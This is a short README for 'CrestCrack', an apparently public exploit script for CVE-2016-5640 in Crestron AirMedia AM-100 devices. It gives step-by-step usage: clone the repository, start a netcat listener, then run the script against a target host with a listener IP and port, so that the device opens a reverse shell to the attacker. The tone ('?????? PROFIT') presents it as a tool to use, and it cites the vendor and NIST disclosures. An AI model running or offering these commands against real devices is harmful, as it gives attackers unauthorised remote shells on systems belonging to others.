CrestCrack

CrestCrack is a simple script that exploits CVE-2016-5640 / CLVA-2016-05-002 within the Crestron AirMedia AM-100 (v1.1.1.11 - v1.2.1). When supplied with arguments CrestCrack will utilize netcat to create a reverse shell between your target and a netcat listener of your choice.

Setup:

1. Clone a copy of CrestCrack git clone https://github.com/vpnguy/CrestCrack 2. Launch a netcat listener nc -lvp 1337 3. Execute CrestCrack against your target with your listener info ./crestcrack.py https://targethost 255.255.255.255 1337 4. ?????? 5. PROFIT ###Usage: ./crescrack.py [target host] [listener IP] [listener port] ###Example: ./crescrack.py https://targethost 123.123.123.123 3311

Additional Vulnerability Information:

Cylance Vulnerability Disclosure NIST CVE-2016-5640

To be added:

• Error handling/bounds checking - Enhanced argument support - --help output